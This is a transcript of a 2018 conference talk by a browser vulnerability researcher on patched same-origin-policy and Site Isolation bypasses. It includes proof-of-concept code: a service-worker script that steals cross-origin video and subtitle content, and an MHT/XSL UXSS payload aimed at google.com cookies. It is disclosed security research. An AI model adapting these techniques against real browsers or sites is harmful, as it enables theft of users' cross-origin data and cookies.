

Logically Bypassing Browser Security Boundaries

Logically Bypassing Browser Security Boundaries - @speakerdeck, Jun Kokatsu, Speaker Deck.

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Content

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Logically Bypassing Browser Security Boundaries - Speaker Deck

Logically Bypassing Browser Security Boundaries

This talk was presented at bugSWAT. Video of the talk is at <https://youtu.be/B5ZyYTKp4gc>

Talk features: Password manager issue with iframe/CSP sandbox <https://crbug.com/825258>, http://bugzilla.mozilla.org/show_bug.cgi?id=1426767 Stealing audio data with HTTP redirect CVE-2018-6161, CVE-2018-4278 Multiple SOP bypasses with Service Worker CVE-2018-6093, CVE-2018-6099, CVE-2018-6159, CVE-2018-6164, CVE-2018-18352 SOP bypasses with HLS CVE-2018-16072, CVE-2018-4345, CVE-2018-4345 Site Isolation bypass CVE-2018-18345

[image: Avatar for Jun Kokatsu]

Jun Kokatsu

October 28, 2018

More Decks by Jun Kokatsu

[See All by Jun Kokatsu](#)

[Operating Operator](#)

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Piloting Edge Copilot

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Same-Origin Cross-Context Scripting

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The world of Site Isolation and compromised renderer

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Site Isolation

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Transcript

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Logically Bypassing Browser Security Boundaries

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> self.toString() < "Jun Kokatsu (@shhnjk)" < "Browser Vulnerability Research

Team at Microsoft" < "Chrome VRP participant" < "Japanese Manga addict"

-

> self.toString() < "Jun Kokatsu (@shhnjk)" < "Browser Vulnerability Research

Team at Microsoft" < "Chrome VRP participant" < "Japanese Manga addict"

-

Agenda 1. What is Same-Origin Policy? 2. Simple concept of

SOP bypass 3. Apply concept to find bugs 4. What is Site Isolation? 5. Site Isolation bypass 6. Wrap up

-

Same-Origin Policy Scheme + Host + Port = Origin <https://www.example.com:443>

-

Scope of SOP • Evil.com shouldn't be able to access

resources loaded from Example.com • Same-Origin Policy is applied everywhere in a webpage

-

Simple concept of SOP bypass • The core concept of

SOP is to compare given URLs • Does URL always reflect the right origin? • Is there any way to confuse browser?

-

1. iframe/CSP sandbox iframe/CSP sandbox is a way to treat

specific contents as being from a unique origin <iframe src="https://www.example.com/untrusted.html" sandbox="allow-scripts"></iframe> OR Content-Security-Policy: sandbox allow-scripts; location.href // "https://www.example.com/untrusted.html" self.origin // "null"

-

Use case of CSP sandbox <https://www.Dropbox.com/enterprise> • Dropbox uses CMS

in "/enterprise" • CSP sandbox mitigates exploitability of XSS in third-party CMS contents Devdatta Akhawe: How I learnt to play in the (CSP) Sandbox <https://youtu.be/fbhW37JZtSA>

-

Stealing password from sandbox • Every browser has a built-in

password manager • Most of browsers only checked the origin based on URL Resulted in auto-filling a password saved in main content to sandboxed content. Affected: iOS only

-

2. Time-of-check Time-of-use • Web page can load sub-resources from

other site • We need a Magic to swap a sub-resource after security checks

-

Magic1: HTTP Redirect Status: 302 Location: <https://example.com/secret.jpg>

-

Stealing cross-origin audio data Web Audio API allows access to

audio data loaded in <audio> or <video> • Chrome only did security check against initial URL of media resource

-

Stealing cross-origin audio data Web Audio API allows access to

audio data loaded in <audio> or <video> • Chrome only did security check against initial URL of media resource • Webkit didn't have a security check of audio data access

-

Stealing cross-origin audio data Web Audio API allows access to

audio data loaded in <audio> or <video> • Chrome only did security check against initial URL of media resource • Webkit didn't have a security check of audio data access Resulted in leaking audio data of cross-origin audio/video Affected: \$2000

-

Magic2: Service Worker • Service Worker is a script that

gets registered and runs in the background • It has an ability to intercept requests within its scope and respond to it <script>

```
navigator.serviceWorker.register("https://www.example.com/Service_Worker.js"); // Scope:
https://www.example.com/ </script> // https://www.example.com/Service_Worker.js
if(event.request.url == "https://www.example.com/"){ event.respondWith(
fetch("https://www.example.com/landing_page.html") ); }
```

-

Magic2: Service Worker Service worker can respond with cross-origin resource

in two cases 1. If a cross-origin resource allows access with CORS 2. If the request's destination supports "no-cors" request // `https://evil.com/Service_Worker.js event.respondWith(fetch("https://example.com/")); // Access-Control-Allow-Origin: * // https://evil.com/Service_Worker.js event.respondWith( fetch("https://example.com/", {mode: "no-cors"}));`

-

None

-

Stealing multiple sub-resources Chrome missed to check tainted response in

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass)

-

Stealing multiple sub-resources Chrome missed to check tainted response in

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass) • Audio and video through captureStream method

-

Stealing multiple sub-resources Chrome missed to check tainted response in

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass) • Audio and video through captureStream method • Content of WebVTT file

-

Stealing multiple sub-resources Chrome missed to check tainted response in

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass) • Audio and video through captureStream method • Content of WebVTT file • Content of CSS file

-

Stealing multiple sub-resources Chrome missed to check tainted response in

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass) • Audio and video through captureStream method • Content of WebVTT file • Content of CSS file • Response size of arbitrary resource

-

Stealing multiple sub-resources Chrome missed to check tainted response in

many components Resulted in leaking cross-origin information such as: • Audio through Web Audio API (patch bypass) • Audio and video through captureStream method • Content of WebVTT file • Content of CSS file • Response size of arbitrary resource Affected: \$8000

```
<video id="leftVideo" style="visibility:hidden" autoplay controls muted><source id="src" type="video/mp4"></video> <video id="result"
```

```
controls autoplay><track src="/vtt" kind="subtitles" srclang="en" label="English" id="entrack" />
</video> <script> navigator.serviceWorker.register('/video_poc.js').then( () => { setTimeout( () =>
{document.getElementById('leftVideo').src="/video";}, 500); });}); var leftVideo =
document.getElementById('leftVideo'); var stream; var mediaRecorder; chunks = []; function
maybeCreateStream() { if (stream) { return; } stream = leftVideo.captureStream(); mediaRecorder =
new MediaRecorder(stream); mediaRecorder.start(); mediaRecorder.ondataavailable = e => {
chunks.push(e.data); function blobToDataURL(callback) { var reader = new FileReader();
reader.onload = e => {callback(e.target.result);} reader.readAsDataURL(chunks[0]); }
blobToDataURL(dataurl => { document.getElementById('result').src = dataurl; }); }); }
leftVideo.oncanplay = maybeCreateStream; if (leftVideo.readyState >= 3) { maybeCreateStream(); }
</script>
```

```
// video_poc.js => { if(e.request.url.endsWith("video")){ e.respondWith(fetch
("https://storage.cloud.google.com/shhnjk/roll%20safe.mp4",{mode: "no-cors",
```

```
credentials: "include"})); }else if(e.request.url.endsWith("vtt")){
e.respondWith(fetch("https://storage.cloud.google.com/shhnjk/secret.vtt",{mode: "no-cors",
credentials: "include"})); } } // WebVTT stealing part function go(){ var myTrack =
document.getElementById("entrack").track; var myCues = myTrack.cues; for (var i = 0; i <
myCues.length; i++) { document.body.innerHTML += "VTT content:
"+myCues[i].getCueAsHTML().textContent + "<br/>"; } }
```

Magic3: Weird file format (HLS) HTTP Live Streaming is a

playlist-based video file made by Apple

Magic3: Weird file format (HLS) HTTP Live Streaming is a

playlist-based video file made by Apple main.m3u8 video.m3u8 Actual video file audio.m3u8
Actual audio file <video controls> <source src="/main.m3u8"> </video>

Magic3: Weird file format (HLS)

-

Stealing audio and video again • Chrome uses Android's media

player for HLS and leaked video

-

Stealing audio and video again • Chrome uses Android's media

player for HLS and leaked video • Firefox uses third-party player for HLS and leaked audio

-

Stealing audio and video again • Chrome uses Android's media

player for HLS and leaked video • Firefox uses third-party player for HLS and leaked audio • Webkit has native HLS implementation, yet leaked video.

-

Stealing audio and video again • Chrome uses Android's media

player for HLS and leaked video • Firefox uses third-party player for HLS and leaked audio • Webkit has native HLS implementation, yet leaked video. Affected: \$10000

-

What is Site Isolation? Site Isolation is a security feature

in Chrome which mitigates Spectre, UXSS, etc, by strictly separating renderer process per Site Scheme + eTLD+1 = "Site" in Site Isolation <https://www.example.com:443>
<https://www.chromium.org/developers/design-documents/site-isolation>

-

UXSS should be alive! Tested Site Isolation with old UXSS

in Chrome 61 <https://github.com/Bo0oM/CVE-2017-5124> > document.domain

-

UXSS should be alive! Tested Site Isolation with old UXSS

in Chrome 61 <https://github.com/Bo0oM/CVE-2017-5124> > document.domain < "google.com"

-

UXSS should be alive! Tested Site Isolation with old UXSS

in Chrome 61 <https://github.com/Bo0oM/CVE-2017-5124> > document.domain < "google.com" > document.cookie

-

UXSS should be alive! Tested Site Isolation with old UXSS

in Chrome 61 <https://github.com/Bo0oM/CVE-2017-5124> > document.domain < "google.com" >
document.cookie

-

Pinging a friend Me: Hey Masato, this is fun! We

can't get cookie with UXSS because of Site Isolation! 5 mins later...

-

Pinging a friend Me: Hey Masato, this is fun! We

can't get cookie with UXSS because of Site Isolation! 5 mins later... Masato: We can. Just need to create Blob URL and Blob URL can access it var text = `<iframe src=https://www.google.com/robots.txt>`
`</iframe>`; var blob = new Blob([text], {type : "text/html"}); var url = URL.createObjectURL(blob);
location.href = url;

-

How should we make a PoC? CVE-2017-5124 was patched. We

are left with 2 options. 1. Find new UXSS 2. Simulate renderer process compromise and replicate the same bug Finding UXSS isn't easy. And... <https://www.google.com/about/appsecurity/chrome-rewards/#special>

-

Option 3? Me: Masato, you should just report the bug

and let Chrome folks decide if the same bug still exists.

-

Option 3? Me: Masato, you should just report the bug

and let Chrome folks decide if the same bug still exists. Masato: I feel bad about reporting a bug without knowing anything about Site Isolation... Me:

-

Option 4?

-

Wait, is UXSS dead? Asked @nasko if compromised renderer should

be able to perform cross-site UXSS after Site Isolation

Wait, is UXSS dead? Asked @nasko if compromised renderer should

be able to perform cross-site UXSS after Site Isolation

Wait, is UXSS dead? Asked @nasko if compromised renderer should

be able to perform cross-site UXSS after Site Isolation

Understanding CVE-2017-5124 MIME-Version: 1.0 Content-Type: multipart/related; type="text/html";boundary="----MultipartBoundary--" -----MultipartBoundary-- Content-Type: application/xml

```
<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [ <!ATTLIST xml:stylesheet id ID #REQUIRED> ]> <xsl:stylesheet id="stylesheet"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="*"> <html><iframe
style="display:none" src="https://google.com"></iframe></html> </xsl:template> </xsl:stylesheet>
-----MultipartBoundary-- Content-Type: text/html Content-Location: https://www.google.com
<script>alert(document.cookie)</script> -----MultipartBoundary---- Browser process Renderer
process 1 https://evil.com <iframe> https://www.google.com Process for "https://evil.com" Cookie
for google.com please! Your process is for evil.com. Die! PoC.mht
```

Understanding SI bypass Cookie for google.com please! MIME-Version: 1.0 Content-Type:

```
multipart/related; type="text/html";boundary="----MultipartBoundary--" -----MultipartBoundary--
Content-Type: application/xml; <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet
type="text/xml" href="#stylesheet"?> <!DOCTYPE catalog [ <!ATTLIST xml:stylesheet id ID
#REQUIRED> ]> <xsl:stylesheet id="stylesheet"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="*"> <html><iframe
style="display:none" src="https://google.com"></iframe></html> </xsl:template> </xsl:stylesheet>
-----MultipartBoundary-- Content-Type: text/html Content-Location: https://www.google.com
<script> var blob = new Blob([ <iframe src=https://www.google.com/robots.txt></iframe> ], {type :
"text/html"}); location.href = URL.createObjectURL(blob); </script> -----MultipartBoundary----
Browser process Renderer process 1 https://evil.com <iframe> Process for "https://evil.com" Blob
URL for google.com please! No problem https://www.google.com
```

Understanding SI bypass Cookie for google.com please! MIME-Version: 1.0 Content-Type:

```

multipart/related; type="text/html";boundary="----MultipartBoundary--" -----MultipartBoundary--
Content-Type: application/xml; <?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet
type="text/xml" href="#stylesheet"?> <!DOCTYPE catalog [ <!ATTLIST xml:stylesheet id ID
#REQUIRED> ]> <xml:stylesheet id="stylesheet"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="*"> <html><iframe
style="display:none" src="https://google.com"></iframe></html> </xsl:template> </xsl:stylesheet>
-----MultipartBoundary-- Content-Type: text/html Content-Location: https://www.google.com
<script> var blob = new Blob([ <iframe src=https://www.google.com/robots.txt></iframe> ], {type :
"text/html"}); location.href = URL.createObjectURL(blob); </script> -----MultipartBoundary----
Browser process Renderer process 2 blob:https://www.google.com <iframe> Process for
"https://google.com" Cookie for google.com please! No problem https://www.google.com

```

But how? 1. Blob URL is created inside renderer process

But how? 1. Blob URL is created inside renderer process

1. Browser process missed to check "Site" for process when verifying Blob URL created by renderer process

But how? 1. Blob URL is created inside renderer process

1. Browser process missed to check "Site" for process when verifying Blob URL created by renderer process \$8000

But how? 1. Blob URL is created inside renderer process

1. Browser process missed to check "Site" for process when verifying Blob URL created by renderer process Live Demo! \$8000

What Site Isolation protects? As of Chrome 70, Site Isolation

protect against: 1. Spectre 2. UXSS (or maybe not?) But it doesn't fully protect against renderer process compromise. Yet, it has some protections (e.g. UXSS, cookie access).

Wrap up 1. SOP bypass isn't only about DOM access.

Check sub-resource access too. 2. Site Isolation is an interesting and important protection. You should poke around.

Acknowledgements • SW origin confusion technique crbug.com/598077 • @i_b o0om for

the UXSS in Chrome 61 (CVE-2017-5124) • @kinugawamasato, finder of Site Isolation bypass • @jaffathecake, jakearchibald.com/2018/i-discovered-a-browser-bug/ • Thanks Chrome Security team, Mozilla Security team, and Apple Product Security team! • Thanks Google VRP!!

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Questions? Let me Bing it for you

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